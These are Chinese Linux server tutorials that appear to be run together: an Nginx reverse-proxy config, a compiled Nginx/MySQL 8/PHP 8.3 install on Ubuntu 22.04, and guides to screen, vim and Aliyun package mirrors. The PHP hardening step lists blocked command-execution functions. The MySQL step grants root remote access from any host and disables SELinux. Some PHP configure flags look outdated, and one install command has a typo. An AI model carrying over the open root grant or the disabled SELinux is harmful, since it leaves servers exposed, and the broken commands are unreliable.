upstream admin_server { server 192.168.1.106:8083; # 管理后台 } server { listen 443 ssl http2; server_name proxy.example.com; # SSL配置（复用场景3） ssl_certificate /etc/letsencrypt/live/proxy.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/proxy.example.com/privkey.pem; # /api 路径转发 location /api/ { proxy_pass http://api_server/; # 末尾/保持路径一致性（如/api/user → /user） proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } # /web 路径转发 location /web/ { proxy_pass http://web_server/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } # /admin 路径转发 location /admin/ { proxy_pass http://admin_server/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } 启用配置： 复制 sudo ln -s /etc/nginx/sites-available/proxy-path.conf /etc/nginx/sites-enabled/ sudo nginx -t && sudo systemctl reload nginx # 测试不同路径 curl https://proxy.example.com/api/health curl https://proxy.example.com/web/index 运维核心命令 复制 # 验证配置语法 sudo nginx -t # 重载配置（不中断服务） sudo systemctl reload nginx # 重启 Nginx sudo systemctl restart nginx # 查看实时访问日志 sudo tail -f /var/log/nginx/proxy-access.log # 查看错误日志 sudo tail -f /var/log/nginx/proxy-error.log # 清理缓存 sudo rm -rf /var/cache/nginx/proxy_cache/* && sudo systemctl reload nginx # 续签 SSL 证书（Let's Encrypt 有效期90天） sudo certbot renew # 查看证书状态 sudo certbot certificates # 禁用某个虚拟主机配置 sudo unlink /etc/nginx/sites-enabled/xxx.conf && sudo systemctl reload nginx
前言LNMP 作为 Linux + Nginx + MySQL + PHP 的经典 Web 架构组合，凭借轻量、高效、稳定的特性，成为中小企业及个人开发者搭建 Web 服务的首选方案。本文将基于 Ubuntu 22.04 LTS 系统，从环境准备、组件编译安装、配置优化、安全加固到项目部署，提供一套生产级别的 LNMP 部署教程，全程附详细代码及专业配置说明。环境准备系统初始化首先确保系统处于最新状态，同时安装部署所需的依赖工具： 复制 # 更新系统软件包索引 sudo apt update -y # 升级已安装软件包（避免依赖冲突） sudo apt upgrade -y # 安装基础依赖工具（编译、依赖库、网络工具等） sudo apt install -y build-essential libpcre3 libpcre3-dev zlib1g zlib1g-dev \ libssl-dev openssl wget curl vim git unzip zip libxml2-dev libcurl4-openssl-dev \ libjpeg-dev libpng-dev libfreetype6-dev libzip-dev libonig-dev 关闭不必要服务（优化系统资源） 复制 # 停止并禁用 avahi-daemon（局域网服务发现，生产环境无用） sudo systemctl stop avahi-daemon sudo systemctl disable avahi-daemon # 停止并禁用 cups（打印机服务） sudo systemctl stop cups sudo systemctl disable cups # 查看系统运行状态 sudo systemctl status 配置防火墙（UFW）仅开放 80（HTTP）、443（HTTPS）、22（SSH）端口，增强系统安全性： 复制 # 启用 UFW 防火墙 sudo ufw enable # 允许 SSH 连接（远程管理必备） sudo ufw allow 22/tcp # 允许 HTTP/HTTPS 服务 sudo ufw allow 80/tcp sudo ufw allow 443/tcp # 查看防火墙规则 sudo ufw status numbered 编译安装Nginx1.26.2采用编译安装方式，可自定义模块（如 SSL、Gzip 等），相比 apt 安装更灵活可控。下载并解压 Nginx 源码 复制 # 创建源码存放目录 sudo mkdir -p /usr/local/src/nginx cd /usr/local/src/nginx # 下载 Nginx 稳定版（当前最新稳定版 1.26.2） sudo wget https://nginx.org/download/nginx-1.26.2.tar.gz # 解压源码包 sudo tar -zxvf nginx-1.26.2.tar.gz cd nginx-1.26.2 配置编译参数（启用核心模块） 复制 # 创建 Nginx 运行用户和组（避免使用 root 运行） sudo groupadd -r nginx sudo useradd -r -g nginx -s /sbin/nologin nginx # 配置编译选项（启用 SSL、Gzip、Rewrite 等核心模块） sudo ./configure \ --prefix=/usr/local/nginx \ --user=nginx \ --group=nginx \ --with-http_ssl_module \ --with-http_gzip_static_module \ --with-http_stub_status_module \ --with-http_realip_module \ --with-http_flv_module \ --with-http_mp4_module \ --with-pcre \ --with-stream \ --with-stream_ssl_module \ --with-http_v2_module # 编译并安装（-j4 表示使用 4 线程编译，根据 CPU 核心数调整） sudo make -j4 && sudo make install 配置 Nginx 系统服务（systemd）方便通过 systemctl 管理 Nginx 启停： 复制 # 创建服务配置文件 sudo vim /usr/lib/systemd/system/nginx.service 写入以下内容： 复制 [Unit] Description=Nginx High Performance Web Server After=network.target remote-fs.target nss-lookup.target [Service] Type=forking PIDFile=/usr/local/nginx/logs/nginx.pid ExecStart=/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s QUIT $MAINPID PrivateTmp=true [Install] WantedBy=multi-user.target Nginx 基础配置优化 复制 # 备份默认配置文件 sudo cp /usr/local/nginx/conf/nginx.conf /usr/local/nginx/conf/nginx.conf.bak # 编辑主配置文件 sudo vim /usr/local/nginx/conf/nginx.conf 替换为以下优化后的配置： 复制 user nginx nginx; worker_processes auto; # 自动匹配 CPU 核心数 worker_cpu_affinity auto; # CPU 亲和性绑定 error_log /var/log/nginx/error.log warn; pid /usr/local/nginx/logs/nginx.pid; # 事件模块配置 events { worker_connections 10240; # 每个 worker 最大连接数 use epoll; # 使用 epoll 事件驱动模型（Linux 高性能首选） multi_accept on; # 允许一个 worker 同时接受多个连接 } # HTTP 核心配置 http { include mime.types; default_type application/octet-stream; # 日志格式（添加 $request_time 记录请求耗时） log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for" "$request_time"'; access_log /var/log/nginx/access.log main; # 性能优化参数 sendfile on; # 启用零拷贝发送文件 tcp_nopush on; # 合并 TCP 数据包，减少网络开销 tcp_nodelay on; # 禁用 Nagle 算法，降低延迟 keepalive_timeout 65; # 长连接超时时间 types_hash_max_size 2048; # 类型哈希表大小 client_header_buffer_size 4k; # 客户端请求头缓冲区大小 large_client_header_buffers 4 16k; # 大请求头缓冲区 # Gzip 压缩（减少传输带宽） gzip on; gzip_min_length 1k; gzip_buffers 4 16k; gzip_comp_level 6; gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; gzip_vary on; gzip_disable "MSIE [1-6]\."; # 兼容 IE 低版本 # 虚拟主机配置（后续项目部署用） include /usr/local/nginx/conf/conf.d/*.conf; } 启动并验证 Nginx 复制 # 创建 Nginx 日志目录并授权 sudo mkdir -p /var/log/nginx sudo chown -R nginx:nginx /var/log/nginx # 重载 systemd 配置 sudo systemctl daemon-reload # 启动 Nginx 并设置开机自启 sudo systemctl start nginx sudo systemctl enable nginx # 验证 Nginx 状态 sudo systemctl status nginx # 测试 Nginx 配置是否正确 /usr/local/nginx/sbin/nginx -t # 访问测试（本地或远程浏览器访问服务器 IP） curl http://localhost 若出现 Welcome to nginx! 页面，说明 Nginx 安装配置成功。编译安装Mysql8.0MySQL 8.0 相比 5.7 性能提升显著，支持 JSON 增强、窗口函数等新特性，此处采用编译安装保证稳定性。安装依赖与系统配置 复制 # 安装 MySQL 依赖 sudo apt install -y cmake libncurses5-dev libncursesw5-dev libaio-dev # 创建 MySQL 数据目录和运行用户 sudo groupadd -r mysql sudo useradd -r -g mysql -s /sbin/nologin mysql sudo mkdir -p /data/mysql sudo chown -R mysql:mysql /data/mysql # 关闭 SELinux（Ubuntu 默认未启用，若启用则执行） sudo setenforce 0 sudo sed -i 's/^SELINUX=enforcing$/SELINUX=disabled/' /etc/selinux/config 下载并编译 MySQL 源码 复制 # 进入源码目录 cd /usr/local/src sudo wget https://cdn.mysql.com/Downloads/MySQL-8.0/mysql-8.0.39.tar.gz sudo tar -zxvf mysql-8.0.39.tar.gz cd mysql-8.0.39 # 创建编译目录 sudo mkdir build && cd build # CMake 配置编译参数 sudo cmake .. \ -DCMAKE_INSTALL_PREFIX=/usr/local/mysql \ -DMYSQL_DATADIR=/data/mysql \ -DSYSCONFDIR=/etc \ -DWITH_INNOBASE_STORAGE_ENGINE=1 \ -DWITH_ARCHIVE_STORAGE_ENGINE=1 \ -DWITH_BLACKHOLE_STORAGE_ENGINE=1 \ -DWITH_READLINE=1 \ -DWITH_SSL=system \ -DWITH_ZLIB=system \ -DWITH_LIBWRAP=0 \ -DMYSQL_UNIX_ADDR=/tmp/mysql.sock \ -DDEFAULT_CHARSET=utf8mb4 \ -DDEFAULT_COLLATION=utf8mb4_unicode_ci \ -DENABLED_LOCAL_INFILE=1 \ -DFORCE_INSOURCE_BUILD=1 # 编译安装（-j4 线程数根据 CPU 调整，编译时间较长） sudo make -j4 && sudo make install 初始化 MySQL 数据库 复制 # 授权安装目录 sudo chown -R mysql:mysql /usr/local/mysql # 初始化数据库（生成临时 root 密码，记录在日志中） sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --datadir=/data/mysql --basedir=/usr/local/mysql # 查看临时密码（关键！后续登录需要） sudo grep 'temporary password' /var/log/mysqld.log 配置 MySQL 系统服务 复制 # 复制服务脚本 sudo cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld sudo chmod +x /etc/init.d/mysqld # 配置 systemd 服务 sudo vim /usr/lib/systemd/system/mysqld.service 写入以下内容： 复制 [Unit] Description=MySQL Server After=network.target [Service] Type=forking ExecStart=/etc/init.d/mysqld start ExecStop=/etc/init.d/mysqld stop ExecReload=/etc/init.d/mysqld restart PIDFile=/data/mysql/localhost.localdomain.pid User=mysql Group=mysql Restart=on-failure [Install] WantedBy=multi-user.target MySQL 配置优化（my.cnf） 复制 # 创建 MySQL 配置文件 sudo vim /etc/my.cnf 写入以下优化配置（适配 4GB 内存服务器，可根据实际调整）： 复制 [mysqld] basedir = /usr/local/mysql datadir = /data/mysql socket = /tmp/mysql.sock pid-file = /data/mysql/localhost.localdomain.pid user = mysql port = 3306 character-set-server = utf8mb4 collation-server = utf8mb4_unicode_ci # 性能优化参数 max_connections = 1000 max_user_connections = 800 wait_timeout = 600 interactive_timeout = 600 table_open_cache = 2048 table_definition_cache = 2048 sort_buffer_size = 2M join_buffer_size = 2M read_buffer_size = 1M read_rnd_buffer_size = 4M key_buffer_size = 64M innodb_buffer_pool_size = 2G # 建议设置为物理内存的 50%-70% innodb_log_file_size = 512M innodb_log_buffer_size = 64M innodb_flush_log_at_trx_commit = 1 innodb_file_per_table = 1 innodb_flush_method = O_DIRECT # 安全参数 skip-name-resolve # 禁用 DNS 解析，加快连接速度 sql_mode = STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION [mysqld_safe] log-error = /var/log/mysqld.log pid-file = /data/mysql/localhost.localdomain.pid [mysql] default-character-set = utf8mb4 启动 MySQL 并初始化配置 复制 # 启动 MySQL 并设置开机自启 sudo systemctl daemon-reload sudo systemctl start mysqld sudo systemctl enable mysqld # 验证 MySQL 状态 sudo systemctl status mysqld # 登录 MySQL（使用之前记录的临时密码） /usr/local/mysql/bin/mysql -u root -p # 登录后修改 root 密码（必须包含大小写字母、数字、特殊字符） ALTER USER 'root'@'localhost' IDENTIFIED BY 'YourStrongPassword123!'; # 授权 root 远程访问（生产环境建议限制 IP，此处为演示） CREATE USER 'root'@'%' IDENTIFIED BY 'YourStrongPassword123!'; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; # 退出 MySQL exit 编译安装PHP8.3PHP 8.3 是当前稳定版，性能较 7.x 提升 30%+，支持 JIT 编译，此处编译安装并启用常用扩展（MySQL、Redis、GD 等）。下载并解压 PHP 源码 复制 cd /usr/local/src sudo wget https://www.php.net/distributions/php-8.3.11.tar.gz sudo tar -zxvf php-8.3.11.tar.gz cd php-8.3.11 配置编译参数（启用核心扩展） 复制 # 配置编译选项 sudo ./configure \ --prefix=/usr/local/php \ --with-config-file-path=/usr/local/php/etc \ --with-config-file-scan-dir=/usr/local/php/etc/php.d \ --with-mysql-sock=/tmp/mysql.sock \ --with-mysqli=mysqlnd \ --with-pdo-mysql=mysqlnd \ --with-openssl \ --with-zlib \ --with-curl \ --with-gd \ --with-jpeg \ --with-png \ --with-freetype \ --with-iconv \ --with-mhash \ --with-libxml-dir \ --with-zip \ --with-onig \ --enable-mbstring \ --enable-fpm \ --enable-cli \ --enable-gd \ --enable-xml \ --enable-session \ --enable-opcache \ --enable-pcntl \ --enable-exif \ --disable-debug # 编译安装 sudo make -j4 && sudo make install 配置 PHP-FPM 复制 # 复制配置文件模板 sudo cp php.ini-production /usr/local/php/etc/php.ini sudo cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf sudo cp /usr/local/php/etc/php-fpm.d/www.conf.default /usr/local/php/etc/php-fpm.d/www.conf # 编辑 PHP 核心配置（php.ini） sudo vim /usr/local/php/etc/php.ini 修改以下关键参数： 复制 # 时区配置 date.timezone = Asia/Shanghai # 内存限制 memory_limit = 512M # 上传文件大小限制 upload_max_filesize = 100M post_max_size = 100M # 脚本执行时间限制 max_execution_time = 300 # 错误日志 error_log = /var/log/php/error.log log_errors = On display_errors = Off # 生产环境禁用错误显示 # OPCache 优化（开启 JIT 编译） [opcache] zend_extension=opcache.so opcache.enable=1 opcache.enable_cli=1 opcache.memory_consumption=128 opcache.interned_strings_buffer=8 opcache.max_accelerated_files=10000 opcache.revalidate_freq=60 opcache.jit=1255 opcache.jit_buffer_size=64M 配置 PHP-FPM 系统服务 复制 sudo vim /usr/lib/systemd/system/php-fpm.service 写入以下内容： 复制 [Unit] Description=PHP FastCGI Process Manager After=network.target [Service] Type=forking PIDFile=/usr/local/php/var/run/php-fpm.pid ExecStart=/usr/local/php/sbin/php-fpm ExecReload=/bin/kill -USR2 $MAINPID ExecStop=/bin/kill -SIGINT $MAINPID User=nginx Group=nginx PrivateTmp=true [Install] WantedBy=multi-user.target 启动 PHP-FPM 并验证 复制 # 创建 PHP 日志目录并授权 sudo mkdir -p /var/log/php sudo chown -R nginx:nginx /var/log/php # 启动 PHP-FPM 并设置开机自启 sudo systemctl daemon-reload sudo systemctl start php-fpm sudo systemctl enable php-fpm # 验证 PHP-FPM 状态 sudo systemctl status php-fpm # 查看 PHP 版本及扩展 /usr/local/php/bin/php -v /usr/local/php/bin/php -m | grep -E 'mysqli|pdo_mysql|gd|curl|zip' 若输出 PHP 版本（8.3.11）及相关扩展名称，说明 PHP 安装成功。安全加固MySQL 安全加固 复制 # 运行 MySQL 安全脚本 /usr/local/mysql/bin/mysql_secure_installation 按照提示完成以下操作：输入 root 密码启用密码强度验证（推荐）修改 root 密码（若之前设置的密码强度不够）禁用匿名用户禁止 root 本地以外的登录（生产环境建议）删除 test 数据库刷新权限表PHP 安全加固 复制 sudo vim /usr/local/php/etc/php.ini 添加 / 修改以下参数： 复制 # 禁用危险函数 disable_functions = eval,assert,popen,passthru,exec,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source # 禁止暴露 PHP 版本 expose_php = Off # 限制 PHP 可访问的目录 open_basedir = /var/www/:/tmp/:/var/tmp/ # 禁用远程代码执行 allow_url_fopen = Off allow_url_include = Off Nginx 安全加固 复制 sudo vim /usr/local/nginx/conf/nginx.conf 在 http 块中添加以下安全头： 复制 # 防止 XSS 攻击 add_header X-XSS-Protection "1; mode=block"; # 防止点击劫持 add_header X-Frame-Options "SAMEORIGIN"; # 限制 MIME 类型嗅探 add_header X-Content-Type-Options "nosniff"; # 启用 HSTS（强制 HTTPS） add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; 配置 HTTPS（Let's Encrypt 免费证书） 复制 # 安装 Certbot sudo apt install -y certbot python3-certbot-nginx # 申请免费 SSL 证书（替换为你的域名） sudo certbot --nginx -d yourdomain.com -d www.yourdomain.com 按照提示完成证书申请，Certbot 会自动修改 Nginx 配置，启用 HTTPS。总结本文基于 Ubuntu 22.04 LTS 系统，通过编译安装方式部署了 Nginx 1.26 + MySQL 8.0 + PHP 8.3 的高性能 LNMP 环境，包含了详细的编译参数、配置优化和安全加固步骤。相比 apt 一键安装，编译安装更灵活可控，可根据业务需求自定义模块和优化参数，适用于生产环境。后续可根据实际业务需求，扩展 Redis 缓存、Elasticsearch 搜索引擎等组件，进一步提升架构性能和扩展性。
介绍Linux screen命令用于多重视窗管理程序。screen为多重视窗管理程序。此处所谓的视窗，是指一个全屏幕的文字模式画面。通常只有在使用telnet或ssh登入主机或是使用老式的终端机时，才有可能用到screen程序。安装screen基于debian内核代码如下： 复制 apt install screen -y 基于centos内核代码如下： 复制 yum install screen -y screen语法 复制 screen [-AmRvx -ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s <shell>][-S <作业名称>] 参数说明：-A 将所有的视窗都调整为目前终端机的大小。-d <作业名称> 将指定的screen作业离线。-h <行数> 指定视窗的缓冲区行数。-m 即使目前已在作业中的screen作业，仍强制建立新的screen作业。-r <作业名称> 恢复离线的screen作业。-R 先试图恢复离线的作业。若找不到离线的作业，即建立新的screen作业。-s 指定建立新视窗时，所要执行的shell。-S <作业名称> 指定screen作业的名称。-v 显示版本信息。-x 恢复之前离线的screen作业。-ls或--list 显示目前所有的screen作业。-wipe 检查目前所有的screen作业，并删除已经无法使用的screen作业。screen实操创建 screen 终端 复制 # screen //创建 screen 终端 创建 screen 终端 并执行任务 复制 # screen vi ~/main.c //创建 screen 终端 ，并执行 vi命令 离开 screen 终端 复制 # screen vi ~/main.c //创建 screen 终端 ，并执行 vi命令 #include main () { } "~/mail.c" 0,0-1 在 screen 终端 下 按下 Ctrl + A + D 键 重新连接离开的 screen 终端 复制 # screen -ls //显示已创建的screen终端 There are screens on: 2433.pts-3.linux (2013年10月20日 16时48分59秒) (Detached) 2428.pts-3.linux (2013年10月20日 16时48分05秒) (Detached) 2284.pts-3.linux (2013年10月20日 16时14分55秒) (Detached) 2276.pts-3.linux (2013年10月20日 16时13分18秒) (Detached) 4 Sockets in /var/run/screen/S-root. # screen -r 2276 //连接 screen_id 为 2276 的 screen终端
vi和vim的区别vi 是一种广泛使用的文本编辑器，它起源于 Unix 系统。由于其简洁和高效的特点，vi 成为了很多系统管理员和开发者的首选工具。而 vim（Vi IMproved）则是 vi 编辑器的增强版，它在 vi 的基础上增加了许多新的特性和功能，使得编辑过程更加便捷和高效。vim安装debian内核代码如下： 复制 apt install vim -y centos内核代码如下： 复制 yum insall vim -y vim键盘图vi/vim的使用基本上 vi/vim 共分为三种模式，命令模式（Command Mode）、输入模式（Insert Mode）和命令行模式（Command-Line Mode）。命令模式：此状态下敲击键盘动作会被 Vim 识别为命令，而非输入字符，比如我们此时按下 i，并不会输入一个字符，i 被当作了一个命令。以下是普通模式常用的几个命令：i -- 切换到输入模式，在光标当前位置开始输入文本。x -- 删除当前光标所在处的字符。: -- 切换到底线命令模式，以在最底一行输入命令。a -- 进入插入模式，在光标下一个位置开始输入文本。o：在当前行的下方插入一个新行，并进入插入模式。O -- 在当前行的上方插入一个新行，并进入插入模式。dd -- 剪切当前行。yy -- 复制当前行。p（小写） -- 粘贴剪贴板内容到光标下方。P（大写）-- 粘贴剪贴板内容到光标上方。u -- 撤销上一次操作。Ctrl + r -- 重做上一次撤销的操作。:w -- 保存文件。:q -- 退出 Vim 编辑器。:q! -- 强制退出Vim 编辑器，不保存修改。若想要编辑文本，只需要启动 Vim，进入了命令模式，按下 i 切换到输入模式即可。命令模式只有一些最基本的命令，因此仍要依靠底线命令行模式输入更多命令。输入模式：在命令模式下按下 i 就进入了输入模式，使用 Esc 键可以返回到普通模式。在输入模式中，可以使用以下按键：字符按键以及Shift组合，输入字符ENTER，回车键，换行BACK SPACE，退格键，删除光标前一个字符DEL，删除键，删除光标后一个字符方向键，在文本中移动光标HOME/END，移动光标到行首/行尾Page Up/Page Down，上/下翻页Insert，切换光标为输入/替换模式，光标将变成竖线/下划线ESC，退出输入模式，切换到命令模式底线命令模式：在命令模式下按下 :（英文冒号）就进入了底线命令模式。底线命令模式可以输入单个或多个字符的命令，可用的命令非常多。在底线命令模式中，基本的命令有（已经省略了冒号）：:w：保存文件。:q：退出 Vim 编辑器。:wq：保存文件并退出 Vim 编辑器。:q!：强制退出Vim编辑器，不保存修改。按 ESC 键可随时退出底线命令模式。简单的说，我们可以将这三个模式想成底下的图标来表示：
备份初始镜像源 复制 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 下载镜像源文件centos8（centos8官方源已下线，建议切换centos-vault源） 复制 wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo 或者 复制 curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo CentOS 7 复制 wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo 或者 复制 curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo 生成缓存 复制 yum clean all && yum makecache
备份初始镜像源 复制 mv /etc/apt/sources.list /etc/apt/sources.list.bak 编辑镜像源 复制 vim /etc/apt/sources.list 根据系统版本信息输入阿里云网络镜像源：ubuntu 24.04 (noble) 配置如下： 复制 deb https://mirrors.aliyun.com/ubuntu/ noble main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ noble main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ noble-security main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ noble-security main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ noble-updates main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ noble-updates main restricted universe multiverse # deb https://mirrors.aliyun.com/ubuntu/ noble-proposed main restricted universe multiverse # deb-src https://mirrors.aliyun.com/ubuntu/ noble-proposed main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ noble-backports main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ noble-backports main restricted universe multiverse ubuntu 23.04 (lunar) 配置如下： 复制 deb https://mirrors.aliyun.com/ubuntu/ lunar main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ lunar main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ lunar-security main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ lunar-security main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ lunar-updates main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ lunar-updates main restricted universe multiverse # deb https://mirrors.aliyun.com/ubuntu/ lunar-proposed main restricted universe multiverse # deb-src https://mirrors.aliyun.com/ubuntu/ lunar-proposed main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ lunar-backports main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ lunar-backports main restricted universe multiverse ubuntu 22.04 LTS (jammy) 配置如下： 复制 deb https://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse # deb https://mirrors.aliyun.com/ubuntu/ jammy-proposed main restricted universe multiverse # deb-src https://mirrors.aliyun.com/ubuntu/ jammy-proposed main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse deb-src https://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse 更新apt镜像源 复制 apt update && apt upgrade -y